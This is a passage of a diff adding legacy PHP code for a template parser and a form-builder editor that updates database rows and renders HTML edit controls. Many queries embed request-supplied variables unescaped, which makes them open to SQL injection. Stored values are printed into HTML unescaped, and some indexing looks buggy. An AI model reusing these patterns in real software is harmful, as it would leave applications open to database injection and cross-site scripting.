+                       return ("ERROR: parse_view() - Target of {include:filename} tag does not exist or is unreadable at $p.<P><PRE>".htmlentities(substr($f, $p-13, 500))."</PRE>");
+
+                       // Replace the tag with the file contents
+               
+               $f = str_replace( '<!--{include:'.$filename.'}-->', $inc_file, $f );
+                       
+               }  
+
+               // Tear out {exclude} ... {/exclude} regions
+               
+       $f = preg_replace( "/<!--\\{exclude\\}-->.*?<!--\\{\/exclude\\}-->/s", "", $f );
+       
+               // Remove comments from around any {INCLUDE ... /INCLUDE} regions
+       
+       $f = str_replace( "<!--{include}", "", $f );
+       $f = str_replace( "{/include}-->", "", $f );
+
+               // Insert any specified files
+       $f = replace_file_tokens( $f );
+       
+               // Replace all global tokens
+       $f = replace_tokens( $f, $tokens["global"] );
+
+               // Do conditional replacements for global tokens
+
+       $f = cond_replace_tokens( $f, $tokens["global"] );
+
+       $out = process_view_lists( $f, $tokens );
+                       
+       if( $show_unused )
+               $out = preg_replace( "/(\\{\S*?\\})/", "<FONT COLOR=\"red\"><BLINK>\\1</BLINK></FONT>", $out );
+                       
+       if( SI_DEBUG_VIEW )
+               $out .= "<P>&nbsp;<P><HR><P>Tags supplied to parse_view() function<P>".tableize_array( $tokens );
+
+       return( $out );
+
+}
+
+
+       // MagicForm - Edit Form
+
+function magic_form_edit( $mf_id, $mf_format, $mf_level = 0 )
+       {
+
+// 
+// Needed Enhancements
+//
+// Calculated fields - based on results from other fields
+//
+
+/*     data1 field description
+ * 
+ *     {title}~{subform_id}~{misc_data}|{title}~{subform_id}~{misc_data}|...
+ * 
+ */
+
+
+       global  $mf_field_id, $mf_action, $mf_position, $mf_field_id, $mf_field_option, $mf_option_id, $mf_option_name, $mf_option_value, $mf_option_value_type, $mf_position, $mf_position_num,
+                       $mf_field_text, $mf_field_image, $mf_field_image_name, $mf_field_image_delete, $mf_field_imagesize, $mf_field_title, $mf_field_descr, $form_data, $link_data, $mf_type, $mf_style, $mf_styles, $mf_action_id,
+                       $mf_field_cols, $mf_field_rows, $mf_custom_id, $mf_field_file, $mf_field_file_name, $mf_field_file_delete, 
+                       $mf_formats, $mf_format_type, $mf_format_char, $mf_format_dec, $mf_format_min, $mf_format_max, $mf_def_val;
+
+               // Always pass along the current form/sub-form with any action requests
+               
+       $mf_form_data = '<input type="hidden" name="mf_action_id" value="'.$mf_id.'">';
+       $mf_link_data = '&mf_action_id='.$mf_id;
+
+       $r['success'] = false;          // Assume a failed return
+       $r['modified'] = false;         // Assume we're not modifying the form - This is set to true for anything that changes the form in a way that old form results can't be used anymore.
+       $r['text'] = '';                        // With no text
+
+               // If we have a field ID then get data for that too
+               
+       if( !empty($mf_field_id) && ($mf_field_data = db_auto_get_row( "SELECT * FROM ".MF_TABLE." WHERE id = $mf_field_id;", 0, SI_CONN_STR, FALSE )) )
+               $mf_field_data1 = $mf_field_data['data1'];
+         else
+               $mf_field_data1 = '';
+
+       $mf_normalize = false;
+       $mf_custom_id_update_message = '';
+                                       
+               //
+               // Process Actions
+               //
+               
+  if( $mf_action_id == $mf_id )                 
+       switch( $mf_action )
+               {
+               
+               case "Add Field":
+
+                               // Add new field with default data
+                                                       
+                       // $r['modified'] = true;
+                       $oid = db_auto_exec( "INSERT INTO ".MF_TABLE." ( form_id, title, type, active, required, sort, expanded, style, format, file, cols, rows ) 
+                                                       VALUES ( '$mf_id', '', 0, 't', 'f', $mf_position, 't', 'Default', '', '', 20, 4 );", SI_CONN_STR, FALSE );
+                       $f = db_auto_get_row( "SELECT id FROM ".MF_TABLE." WHERE OID = $oid;", 0, SI_CONN_STR, FALSE );                 // Get new field ID
+                       $mf_field_id = $f['id'];
+                       $mf_normalize = true;
+                       break;
+               
+               case "Set Type":
+
+                       // $r['modified'] = true;
+
+                               // Determine default style format for this type - First format that can be used for this type
+                               
+                       reset( $mf_styles );
+                       while( list($key, $val) = each($mf_styles) )
+                               if( strstr( $val['types'], ' '.$mf_type.' ' ) )
+                                       {
+                                       $mf_style .= $key;
+                                       break;
+                                       }
+
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET type = $mf_type, style = '$mf_style' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       if( $mf_type == 1 )     // IF checkbox
+                               db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = 'Yes~~~|No~~~' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                                       
+               case "Set Style":
+
+                       // $r['modified'] = true;
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET style = '$mf_style' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                                       
+               case "Set Field Format":
+
+                       // $r['modified'] = true;
+                       $x = $mf_format_type.'~'.$mf_format_char.'~'.$mf_format_dec.'~'.$mf_format_min.'~'.$mf_format_max;
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET format = '$x' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                                       
+               case "Add Option":
+
+                       // $r['modified'] = true;
+                       if( trim($mf_field_option) == '' )
+                                       break;
+
+                       if( !empty($mf_field_data1) )
+                                       $x = $mf_field_data1."|".$mf_field_option."~~";
+                                 else
+                                       $x = $mf_field_option."~~";
+
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($x)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+
+               case "Add Subform":
+               
+                       // $r['modified'] = true;
+                       $x = explode( "|", $mf_field_data1 );
+                       $y = explode( "~", $x[$mf_option_id] );
+                       $x[$mf_option_id-1] = $y[0]."~$mf_id.$mf_field_id.".time().'~'.$y[2];
+                       $mf_field_data1 = implode( "|", $x );
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                               
+               case "Delete Subform":
+                       
+                       // $r['modified'] = true;
+                       $x = explode( "|", $mf_field_data1 );
+                       $y = explode( "~", $x[$mf_option_id-1] );
+                       $x[$mf_option_id-1] = $y[0].'~~'.$y[2];
+                       $mf_field_data1 = implode( "|", $x );
+
+                               // Delete any Images or Files associated with these fields
+                               
+                       if( ($del_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id LIKE '".$y[1]."%';" )) )
+                               {
+                               foreach( $del_fields as $d )
+                                       {
+                                       switch( $d['type'] )
+                                               {
+                                               case 24:        // Image
+                                                       delete_image( $d['file'] );
+                                                       break;
+                                               case 25:        // File
+                                                       file_delete( $d['file'] );
+                                                       break;
+                                               default:
+                                                       break;
+                                               }       
+                                       }       
+                               }
+
+                       db_auto_exec( "DELETE FROM ".MF_TABLE." WHERE form_id LIKE '".$y[1]."%'; UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );             
+                       break;
+               
+               case "Edit Option Name":
+                       
+                       // $r['modified'] = true;
+                       $x = explode( "|", $mf_field_data1 );
+                       $y = explode( "~", $x[$mf_option_id-1] );
+                       $x[$mf_option_id-1] = $mf_option_name.'~'.$y[1].'~'.$y[2].'~'.$y[3];
+                       $mf_field_data1 = implode( "|", $x );
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                               
+               case "Edit Option Value":
+
+                       // $r['modified'] = true;
+                       $x = explode( "|", $mf_field_data1 );
+                       $y = explode( "~", $x[$mf_option_id-1] );
+                       $x[$mf_option_id-1] = $y[0].'~'.$y[1].'~'.$mf_option_value.'~'.$mf_option_value_type;
+                       $mf_field_data1 = implode( "|", $x );
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                               
+               case "Delete Option":
+                       
+                       $r['modified'] = true;
+                       $x = explode( "|", $mf_field_data1 );
+                       $y = explode( "~", $x[$mf_option_id-1] );
+                       array_splice( $x, $mf_option_id-1, 1 );
+                       $mf_field_data1 = implode( "|", $x );
+
+                               // Delete any Images or Files associated with these fields
+                               
+                       if( ($del_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id LIKE '".$y[1].".%';" )) )
+                               {
+                               foreach( $del_fields as $d )
+                                       {
+                                       switch( $d['type'] )
+                                               {
+                                               case 24:        // Image
+                                                       delete_image( $d['file'] );
+                                                       break;
+                                               case 25:        // File
+                                                       file_delete( $d['file'] );
+                                                       break;
+                                               default:
+                                                       break;
+                                               }       
+                                       }       
+                               }
+
+                               // Delete any sub-forms and update this field data
+                               
+                       db_auto_exec( "DELETE FROM ".MF_TABLE." WHERE form_id LIKE '".$y[1].".%'; UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                               
+               case "Move Option Up":
+               
+                               // If option position isn't already at the top                                  
+                       if( $mf_option_id-1 != 0 )
+                               {
+                               $r['modified'] = true;
+                               $x = explode( "|", $mf_field_data1 );
+                               $y = array();
+                               for( $i=0 ; $i<count($x) ; $i++ )
+                                       {
+                                       if( $i == $mf_option_id-1 )
+                                               $y[$i*10-15] = $x[$i];
+                                         else
+                                               $y[$i*10] = $x[$i];
+                                       }
+                               ksort($y);
+                               $mf_field_data1 = implode( "|", $y );
+                               db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                               }
+                       break;
+                               
+               case "Move Option Down":
+                       $x = explode( "|", $mf_field_data1 );
+                               // If option position isn't already at the bottom
+                       if( $$mf_option_id-1 != count($x)-1 )
+                               {
+                               $r['modified'] = true;
+                               $y = array();
+                               for( $i=0 ; $i<count($x) ; $i++ )
+                                       {
+                                       if( $i == $mf_option_id-1 )
+                                               $y[$i*10+15] = $x[$i];
+                                         else
+                                               $y[$i*10] = $x[$i];
+                                       }
+                               ksort($y);
+                               $mf_field_data1 = implode( "|", $y );
+                               db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_data1)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                               }
+                       break;
+                                               
+               case "Toggle Active":
+                       
+                       // $r['modified'] = true;
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET active = '".($mf_field_data['active']=='t'?'f':'t')."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                       
+               case "Toggle Required":
+                       
+                       // $r['modified'] = true;
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET required = '".($mf_field_data['required']=='t'?'f':'t')."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                       
+               case "Toggle Expanded":
+                       
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET expanded = '".($mf_field_data['expanded']=='t'?'f':'t')."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                       
+               case "Expand All":
+
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET expanded = 't' WHERE form_id = '$mf_id';", SI_CONN_STR, FALSE );
+                       break;
+
+               case "Contract All":
+
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET expanded = 'f' WHERE form_id = '$mf_id';", SI_CONN_STR, FALSE );
+                       break;
+                       
+               case "Reposition":
+                               
+                       if( !empty( $mf_position_num ) )
+                               {
+                               if( clean_input( 'mf_position_num', 'int', true ) == '' )
+                                       {
+                                       $mf_position = $mf_position_num * 10;
+                                       if( $mf_position > $mf_field_data['sort'] ) 
+                                               $mf_position += 1;
+                                         else
+                                               $mf_position -= 1;
+                                       }
+                                 else
+                                       break;
+                               }
+
+                       // $r['modified'] = true;
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET sort = $mf_position WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       $mf_normalize = true;
+                       break;
+                                                               
+               case "Update Text":
+
+                       // $r['modified'] = true;
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET data1 = '".addslashes($mf_field_text)."' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                                                       
+               case "Update Field":
+
+                       // $r['modified'] = true;
+                       $other_fields = '';
+                       if( $mf_field_data['type'] >= 2 && $mf_field_data['type'] <= 4 )        $other_fields .= ', cols = '.$mf_field_cols;
+                       if( $mf_field_data['type'] == 4 )                                                                       $other_fields .= ', rows = '.$mf_field_rows;
+                       if( $mf_field_data['type'] == 2 || $mf_field_data['type'] == 3 )        $other_fields .= ", default_val = '$mf_def_val'";
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET title = '".addslashes($mf_field_title)."', descr = '".addslashes($mf_field_descr)."'$other_fields WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+
+               case "Update Image":
+
+                       // $r['modified'] = true;       
+                       $new_image = '';
+                       $image_update = false;
+
+                               // if there's an existing image and we're either deleting or replacing it
+                       if( $mf_field_data['file'] != '' && ( $mf_field_image_delete == 'on' || $mf_field_image_name != '' ) )
+                               {
+                               delete_image( $mf_field_data['file'] );
+                               $image_update = true;
+                               }
+                                       
+                               // If there's an image supplied
+                       if( $mf_field_image_name != '' )
+                               {
+                               $new_image = process_image( $mf_field_image, $mf_field_image_name );
+                               $image_update = true;
+                               }
+
+                       if( $image_update )
+                               db_auto_exec( "UPDATE ".MF_TABLE." SET file = '".addslashes($new_image)."', size = '$mf_field_imagesize' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                         else
+                               db_auto_exec( "UPDATE ".MF_TABLE." SET size = '$mf_field_imagesize' WHERE id = $mf_field_id;", SI_CONN_STR, FALSE );
+                                                       
+                               
+                       break;
+
+               case "Update File":
+
+                       $existing_filename = $mf_field_data['file'];
+                       
+                       $new_filename = trim($mf_field_file_name);
+                                               
+                               // If delete is requested or there's a new file upload AND there's an existing file, then delete the old one
+                                                       
+                       if( ( $mf_field_file_delete == 'on' || $new_filename != '' ) && $existing_filename != '' )
+                               {
+                               file_delete( $existing_filename );
+                               $existing_filename ='';
+                               }
+                                                       
+                       if( $mf_field_file != '' )
+                               {
+                               if( !($new_filename = file_upload( $mf_field_file, $new_filename )) )
+                                       $new_filename = '';
+                               }
+                         else
+                               $new_filename = $existing_filename;
+                                                       
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET file = '".addslashes($new_filename)."' WHERE id= $mf_field_id;" );       
+               
+                       break;
+
+               case "Set Custom ID":
+               
+                       // $r['modified'] = true;
+                       $mf_custom_id = trim($mf_custom_id);
+                       
+                       if( $mf_custom_id != '' && db_auto_get_row( "SELECT id FROM ".MF_TABLE." WHERE form_id = '$mf_id' AND custom_id = '$mf_custom_id';" ) )
+                               $mf_custom_id_update_message = 'ID in Use.';
+                         else
+                               db_auto_exec( "UPDATE ".MF_TABLE." SET custom_id = '".trim($mf_custom_id)."' WHERE id = $mf_field_id;" );
+                       
+                       break;
+
+               case "Set Default":
+
+                       db_auto_exec( "UPDATE ".MF_TABLE." SET default_val = '".$mf_def_val."' WHERE id = $mf_field_id;" );
+               
+                       break;
+
+               case "Delete":
+                       
+                       // $r['modified'] = true;
+                       
+                               // Delete any Images or Files associated with these fields
+                               
+                       if( ($del_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id LIKE '$mf_id.%' OR id = $mf_field_id;" )) )
+                               {
+                               foreach( $del_fields as $d )
+                                       {
+                                       switch( $d['type'] )
+                                               {
+                                               case 24:        // Image
+                                                       delete_image( $d['file'] );
+                                                       break;
+                                               case 25:        // File
+                                                       file_delete( $d['file'] );
+                                                       break;
+                                               default:
+                                                       break;
+                                               }       
+                                       }       
+                               }
+
+                       db_auto_exec( "DELETE FROM ".MF_TABLE." WHERE form_id LIKE '$mf_id.$mf_field_id.%' OR id = $mf_field_id;", SI_CONN_STR, FALSE );
+                       break;
+                               
+               default:
+                       break;  
+               }
+                       
+               // If we need to normalize the sort numbers
+                       
+       if( $mf_normalize )
+               {
+               $mf_data = db_auto_get_data( "SELECT id, sort FROM ".MF_TABLE." WHERE form_id = '$mf_id' ORDER BY sort;", SI_CONN_STR, FALSE );
+               $qs = 'BEGIN;'.$nl;
+               $i = 10;
+               foreach( $mf_data as $mf )
+                       {
+                       $qs .= "UPDATE ".MF_TABLE." SET sort = ".$i." WHERE ID = ".$mf['id'].";\n";
+                       $i += 10; 
+                       }                               
+               db_auto_exec( $qs."COMMIT;", SI_CONN_STR, FALSE );      
+               }
+                                                       
+               //
+               // Display current form status
+               //
+       
+       $font_size = '100%';            // Font size percentage to use for form elements
+       
+       $mf_bgcolor = ($mf_level % 2);
+
+       $r['text'] .= '<TABLE BORDER="4" RULES="GROUPS" CELLPADDING="2" CELLSPACING="0" width="95%" BGCOLOR="'.($mf_bgcolor == 1?'#D1F1F1':'#ffffff').'">'.$nl;
+
+       if( ($mf_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id = '$mf_id' ORDER BY sort;", SI_CONN_STR, FALSE )) )
+               {
+                                       
+               foreach( $mf_fields as $mf )
+                       {
+
+                       $base_form_data = '<FORM ACTION="'.SI_THIS_SCRIPT.'"  ENCTYPE="multipart/form-data" METHOD="post" >
+                                       '.$form_data.$mf_form_data.'
+                                       <INPUT TYPE="hidden" NAME="mf_field_id" VALUE="'.$mf['id'].'">
+                                       ';
+                               
+                       $mf_data = $mf_text = $mf_type_text = '';
+
+                       $mf_title_req = false;
+                       
+                       switch( $mf['type'] )
+                               {
+                                       // Checkbox
+                                                                               
+                               case 1: 
+                                       $mf_data .= '<BR>';
+                                       $mf_type_text = 'Checkbox';     
+                                       $mf_data .= '<TABLE BORDER="0" WIDTH="100%" CELLPADDING="2" CELLSPACING="0" RULES="GROUPS">';
+                                       if( !empty($mf['data1']) )
+                                               {
+
+                                               $mf_data1 = explode( "|", $mf['data1'] );
+                                               for( $i=1 ; $i<=count($mf_data1) ; $i++ )
+                                                       {
+
+                                                       $x = explode( "~", $mf_data1[$i-1] );
+
+                                                               // Set option value output format
+
+                                                       if( trim($x[2]) != '' )
+                                                               switch( $x[3] )
+                                                                       {
+                                                                       case 1:         $xv = money($x[2]);             break;
+                                                                       default:        $xv = $x[2];                    break;
+                                                                       }
+                                                         else
+                                                               $xv = '(no value)';
+                                                               
+                                                       $mf_data .= '<TR>
+                                                                                       <TD ALIGN="left" VALIGN="top" CLASS="standout">Option: '.$x[0].'</TD>
+                                                                                       <TD ALIGN="right" VALIGN="top" CLASS="standout">Value: '
+                                                                                               .quick_edit( $mf['id'].'.'.$i, $xv, 
+                                                                                               '<CENTER>'.$base_form_data.'
+                                                                                                       <INPUT TYPE="hidden" NAME="mf_option_id" VALUE="'.$i.'">
+                                                                                                       Option value: <INPUT TYPE="text" NAME="mf_option_value" STYLE="font-size: '.$font_size.';" VALUE="'.$x[2].'" SIZE="10">
+                                                                                                       Value Type: <SELECT NAME="mf_option_value_type"><OPTION VALUE="0"'.($x[3]==0?' SELECTED':'').'>Number</OPTION><OPTION VALUE="1"'.($x[3]==1?' SELECTED':'').'>Money</OPTION></SELECT><br>
+                                                                                                       <INPUT TYPE="submit" NAME="mf_action" VALUE="Edit Option Value" STYLE="font-size: '.$font_size.';">
+                                                                                               </FORM></CENTER>' )
+                                                                                       .'</TD>
+                                                                                       <TD ALIGN="right">
+                                                                                               '.( $x[1] == '' ? 
+                                                                                                               '<A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Add+Subform&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'">[Sub-Form]</A>'
+                                                                                                               :
+                                                                                                               '<A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Delete+Subform&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'">[Delete Sub-Form]</A>'
+                                                                                                               ).'
+                                                                                               <A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Move+Option+Up&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'" ><b>&uarr;</b></A>
+                                                                                               <A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Move+Option+Down&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'"><b>&darr;</b></A>
+                                                                               ';
+                                                                               
+                                                       $mf_data .= '</TD>
+                                                                               </TR>';
+                                                       if( $i == $mf['default_val'] )
+                                                               $mf_data .= '<TR><TD ALIGN="left" VALIGN="top" CLASS="standout_small" COLSPAN="3">Default Selection</TD></TR>';
+                                                         else
+                                                               $mf_data .= '<TR><TD ALIGN="left" VALIGN="top" CLASS="standout_small" COLSPAN="3"><A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Set+Default&mf_field_id='.$mf['id'].'&mf_def_val='.$i.'">Set as default selection</A></TD></TR>';
+
+                                                       if( $x[1] != '' )
+                                                               {
+                                                               $rs = magic_form_edit( $x[1], $mf_format, $mf_level+1 );
+                                                               if( $rs['success'] )
+                                                                       $mf_data .= '<TR><TD COLSPAN="3" ALIGN="right">'.$rs['text'].'</TD></TR>';
+                                                               if( $rs['modified'] )
+                                                                       $r['modified'] = true;                                                                                  
+                                                               }
+                                                       $mf_data .= ''.$nl;
+                                                       }
+                                               }
+                                       $mf_data .= '</TABLE>';
+                                       $mf_title_req = true;
+                                       break;
+                                                                               
+                                       // Number
+                                                       
+                               case 2: 
+                                       $mf_type_text = 'Number';
+                                       $mf_title_req = true;
+                                       break;
+                                                                       
+                                       // Text field
+                                                                       
+                               case 3: 
+                                       $mf_type_text = 'Text';
+                                       $mf_title_req = true;
+                                       break;
+                                                                       
+                                       // Text Box
+                                                                               
+                               case 4:
+                                       $mf_type_text = 'Text Box';
+                                       $mf_title_req = true;
+                                       break;
+                                                                       
+                                       // Picklist
+                                                                               
+                               case 5:
+
+                                       // Radio Buttons
+                                                                               
+                               case 6:
+                                                                       
+                                       switch( $mf['type'] )
+                                               {
+                                               case 5:         $mf_type_text = 'Picklist';                     break;
+                                               case 6:         $mf_type_text = 'Radio Buttons';                break;
+                                               }
+
+                                       $mf_data .= '<TABLE BORDER="0" WIDTH="100%" CELLPADDING="2" CELLSPACING="0" RULES="GROUPS">';
+                                       if( !empty($mf['data1']) )
+                                               {
+                                               $mf_data1 = explode( "|", $mf['data1'] );
+                                               for( $i=1 ; $i<=count($mf_data1) ; $i++ )
+                                                       {
+                                                       $x = explode( "~", $mf_data1[$i-1] );
+
+                                                               // Set option value output format
+
+                                                       if( trim($x[2]) != '' )
+                                                               switch( $x[3] )
+                                                                       {
+                                                                       case 1:         $xv = money($x[2]);             break;
+                                                                       default:        $xv = $x[2];                    break;
+                                                                       }
+                                                         else
+                                                               $xv = '(no value)';
+                                                               
+                                                       $mf_data .= '<TR>
+                                                                                       <TD ALIGN="left" VALIGN="top" CLASS="standout">'
+                                                                                               .quick_edit( $mf['id'].'.'.$i, 'Option: '.stripslashes($x[0]), 
+                                                                                               '<CENTER>'.$base_form_data.'
+                                                                                                       <INPUT TYPE="hidden" NAME="mf_option_id" VALUE="'.$i.'">
+                                                                                                       <INPUT TYPE="text" NAME="mf_option_name" STYLE="font-size: '.$font_size.';" VALUE="'.stripslashes($x[0]).'" SIZE="50"><BR>
+                                                                                                       <INPUT TYPE="submit" NAME="mf_action" VALUE="Edit Option Name" STYLE="font-size: '.$font_size.';">
+                                                                                               </FORM></CENTER>' )
+                                                                                       .'</TD>
+                                                                                       <TD ALIGN="right" VALIGN="top" CLASS="standout">Value: '
+                                                                                               .quick_edit( $mf['id'].'.'.$i."_value", $xv, 
+                                                                                               '<CENTER>'.$base_form_data.'
+                                                                                                       <INPUT TYPE="hidden" NAME="mf_option_id" VALUE="'.$i.'">
+                                                                                                       Option value: <INPUT TYPE="text" NAME="mf_option_value" STYLE="font-size: '.$font_size.';" VALUE="'.$x[2].'" SIZE="10">
+                                                                                                       Value Type: <SELECT NAME="mf_option_value_type"><OPTION VALUE="0"'.($x[3]==0?' SELECTED':'').'>Number</OPTION><OPTION VALUE="1"'.($x[3]==1?' SELECTED':'').'>Money</OPTION></SELECT><br>
+                                                                                                       <INPUT TYPE="submit" NAME="mf_action" VALUE="Edit Option Value" STYLE="font-size: '.$font_size.';">
+                                                                                               </FORM></CENTER>' )
+                                                                                       .'</TD>
+                                                                                       <TD ALIGN="right">
+                                                                                               '.( $x[1] == '' ? 
+                                                                                                               '<A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Add+Subform&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'">[Sub-Form]</A>'
+                                                                                                               :
+                                                                                                               '<A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Delete+Subform&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'">[Delete Sub-Form]</A>'
+                                                                                                               ).'
+                                                                                               <A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Delete+Option&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'">[delete]</A>
+                                                                                               <A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Move+Option+Up&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'" ><b>&uarr;</b></A>
+                                                                                               <A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Move+Option+Down&mf_field_id='.$mf['id'].'&mf_option_id='.$i.'"><b>&darr;</b></A>
+                                                                               ';
+                                                                               
+                                                       $mf_data .= '</TD>
+                                                                               </TR>';
+
+                                                       if( $i == $mf['default_val'] )
+                                                               $mf_data .= '<TR><TD ALIGN="left" VALIGN="top" CLASS="standout_small" COLSPAN="3">Default Selection</TD></TR>';
+                                                         else
+                                                               $mf_data .= '<TR><TD ALIGN="left" VALIGN="top" CLASS="standout_small" COLSPAN="3"><A HREF="'.SI_THIS_SCRIPT.'?Action=Ref_Edi&'.$link_data.$mf_link_data.'&mf_action=Set+Default&mf_field_id='.$mf['id'].'&mf_def_val='.$i.'">Set as default selection</A></TD></TR>';
+
+                                                       if( $x[1] != '' )
+                                                               {
+                                                               $rs = magic_form_edit( $x[1], $mf_format, $mf_level+1 );
+                                                               if( $rs['success'] )
+                                                                       $mf_data .= '<TR><TD COLSPAN="3" ALIGN="right">'.$rs['text'].'</TD></TR>';
+                                                               if( $rs['modified'] )
+                                                                       $r['modified'] = true;                                                                                  
+                                                                       
+                                                               }
+                                                       $mf_data .= ''.$nl;
+                                                       }
+                                               }
+                                         else          
+                                               $mf_data .= '<TR><TD COLSPAN="3" ALIGN="left"><FONT COLOR="red">No options selected yet.</FONT></TD></TR>'.$nl;
+
+                                       $mf_data .= '<TR>
+                                                                       <TD COLSPAN="3" ALIGN="right">'
+                                                                       .quick_edit( '_add_option_'.$mf['id'],
+                                                                                               '<span class="pseudo_link">[Add Option]</a>', 
+                                                                                               '<CENTER>'.$base_form_data.'
+                                                                                               <INPUT TYPE="text" NAME="mf_field_option" STYLE="font-size: '.$font_size.';">
+                                                                                               <INPUT TYPE="submit" NAME="mf_action" VALUE="Add Option" STYLE="font-size: '.$font_size.';">
+                                                                                               </FORM></CENTER>' )
+                                                                       .'</TD><TR>
+                                                               </TABLE>';
+                                       $mf_title_req = true;
+                                       break;
+
+                                       // File Upload
+                                                                       
+                               case 7: 
+                                       $mf_type_text = 'File Upload';
+                                       $mf_title_req = true;
+                                       break;
+                                                                       
+
+                                       // Section Title
+                                       
+                               case 20:        
+                                       $mf_type_text = 'Section Title';
+                                       $mf_text .= quick_edit( $mf['id'],
+                                                                                       '<SPAN CLASS="standout">'.($mf['data1']!=''?stripslashes($mf['data1']):'(Section title not set)').'</span>', 
+                                                                                       $base_form_data.'<TABLE BORDER="0">
+                                                                                               <TR>
+                                                                                                       <TD>&nbsp;</TD>
+                                                                                                       <TD ALIGN="right" VALIGN="top">Title:</TD>
+                                                                                                       <TD ALIGN="left" COLSPAN="3" VALIGN="top"><INPUT TYPE="text" NAME="mf_field_text" VALUE="'.$mf['data1'].'" STYLE="font-size: '.$font_size.';" SIZE="80"></TD>
+                                                                                               </TR>
+                                                                                       </TABLE>
+                                                                                       <CENTER><INPUT TYPE="submit" NAME="mf_action" VALUE="Update Text" STYLE="font-size: '.$font_size.';"></CENTER>
+                                                                                       </FORM>
+                                                                               ' );
+
+                                                               
+                                       break;
+                                                               
+                                       // Misc. Text
+                                                       
+                               case 21:
+                                       $mf_type_text = 'Misc. Text';
+                                       $mf_text .= quick_edit( $mf['id'],
+                                                                                       ( $mf['data1'] != '' ?
+                                                                                               ( $mf['expanded'] == 't' ?
+                                                                                                       stripslashes($mf['data1'])
+                                                                                               :
+                                                                                                       substr( stripslashes($mf['data1']), 0, 225 ).' ...'
+                                                                                               )
+                                                                                       :
+                                                                                               '<SPAN CLASS="standout">(Misc. text not set)</SPAN>'
+                                                                                       ), 
+                                                                                       $base_form_data.'<TABLE BORDER="0">
+                                                                                               <TR>
+                                                                                                       <TD>&nbsp;</TD>
+                                                                                                       <TD ALIGN="right" VALIGN="top">Misc. Text:</TD>
+                                                                                                       <TD ALIGN="left" COLSPAN="3" VALIGN="top"><TEXTAREA NAME="mf_field_text" STYLE="font-size: '.$font_size.';" COLS="60" ROWS="4">'.$mf['data1'].'</TEXTAREA></TD>
+                                                                                               </TR>
+                                                                                       </TABLE>
